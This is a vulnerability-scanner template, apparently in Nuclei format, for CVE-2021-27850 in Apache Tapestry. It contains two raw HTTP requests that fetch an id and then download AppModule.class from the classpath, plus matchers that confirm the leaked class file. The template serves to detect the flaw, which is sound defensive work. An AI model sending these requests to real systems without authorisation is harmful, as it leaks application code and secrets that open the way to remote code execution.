56 lines
1.5 KiB
YAML
56 lines
1.5 KiB
YAML
id: CVE-2021-27850
|
|
|
|
info:
|
|
name: Apache Tapestry - Arbitrary class download
|
|
description: |
|
|
A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
|
|
author: pdteam
|
|
severity: critical
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-27850
|
|
tags: cve,cve2021,apache,tapestry
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.80
|
|
cve-id: CVE-2021-27850
|
|
cwe-id: CWE-502
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /assets/app/something/services/AppModule.class/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
|
|
- |
|
|
GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
|
|
internal: true
|
|
name: id
|
|
part: header
|
|
group: 1
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- 'application/java'
|
|
part: header
|
|
|
|
- type: word
|
|
words:
|
|
- 'configuration'
|
|
- 'webtools'
|
|
part: body
|
|
condition: and
|